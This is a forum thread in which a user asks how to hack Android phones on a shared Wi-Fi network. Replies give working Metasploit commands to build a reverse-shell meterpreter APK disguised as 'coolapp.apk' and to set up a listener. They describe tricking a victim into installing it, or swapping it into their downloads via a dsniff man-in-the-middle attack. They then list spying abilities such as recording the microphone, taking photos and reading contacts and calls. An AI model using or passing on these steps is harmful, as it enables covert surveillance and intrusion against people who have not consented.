Forum Thread: How to Hack a Android Phone Connected on a Same Wifi Router

i want to how to hack a android phones connected to a same wifi router which i'm connected to..

26 Responses

This is fairly simple. All you need is metasploit, and a bit of social engineering skills. What you do is you open a terminal, and put in:

msfpayload android/meterpreter/reverse_tcp LHOST=(your lan ip address) LPORT=8080 R > /root/Desktop/coolapp.apk

This command should give you a file called coolapp.apk on the desktop. Now we need to set up a listener so that when the target opens the app, we have their android hacked.

First we will open the metasploit console by typing "msfconsole"
Once the metasploit console is open we will type,

use exploit/multi/handler
Hit return and follow as I do
set payload android/meterpreter/reverse_tcp
Now you should have the payload all set, now we will set up the connections
set lhost (your lan ip address)
Now your local host is set up, but we still need to set up the port.
set lport 8080

Hit enter, now from here we use some social engineering to give the file on the desktop titled, coolapp.apk, to someone who will open it on their android phone. Once you have given someone the app and they are about to open it, go back to your metasploit console and type:


This should open a connection soon with the target android phone where you can do things like, record their microphone, take a picture on their camera, look at their calls, look at their contacts, and look at their address.

Dude can you explain it a little bit more i really intrested and im waiting for your replay!!

Great tutorial!
Can you convert this into msfvenom command line?


Can you speak in English @CAMERO N GLASS :D just a 14 Yrs. Old Boy

Can Any One Help Me Please I Tried Every Thing about 40 Times But When i Copy .apk To My Android for installing it shows

(app not installed) Is There Any Solution ? I Put this Ap On Many ANdroid Version Phones But Still Got That Error

sign your apk file and make sure that your android accepts installations from unknown sources..

Many smartphones will not prompt you of the app having malicious code but just not allow you to install it some phones (which till now i have tested on ) are google phones -Nexsus and Xiomi , if you wanna install the app you first need to get ur phone rooted and escalate ur privileges to install the app

I was wondering if there is a way to target a specific IP without having to make the target install the apk?

Can Anyone please tell that how to perform the above procedure in Windows, I tried to perform it in Command prompt of Windows but it say the Window cannot find the path specified,,,,,please someone tell me how to hack and android phone through windows

This hack, like nearly all hacks, can only be done in Linux. Take some time to learn Linux by reading my Linux series on Null Byte.

you need to download metasploit for your windows

I have done all the above steps perfect and succesfully setuo a connection niw i want to know the commands for listening to microphone

recordmic or better type ? when the meterpreter session started

Can i change that apk file with something else...
i mean if i type this command
msfpayload android/meterpreter/reverse_tcp LHOST=(your lan ip address) LPORT=8080 R > /root/Desktop/movies.txt

Will it work????

i have a question in my mind. if anyone started it once and restarts its cellphone . is it is necessary to open the apk once more ?

hope you will reply soon

I have a question... Once you have identified that it is a phone on your router, how do you extract a phone number or e-mail to send that .apk to

You can use dsniff for man in the middle attack and replacing downloaded file by victim with your apk.

can u actually change what files are being downloaded by a mitm victim?!

How do you block people from hacking your devices??

Help I have nosey hackers...!

Did you ever get this info??
Yea I've had the same ready just to change routers,and buy new SIM cards..
I need to know if I've been hacked,or even worse cloned phones...

how if android to android?

This apk is not working on my android device
and what can i do with this i mean commands please:

Share Your Thoughts

  • Hot
  • Active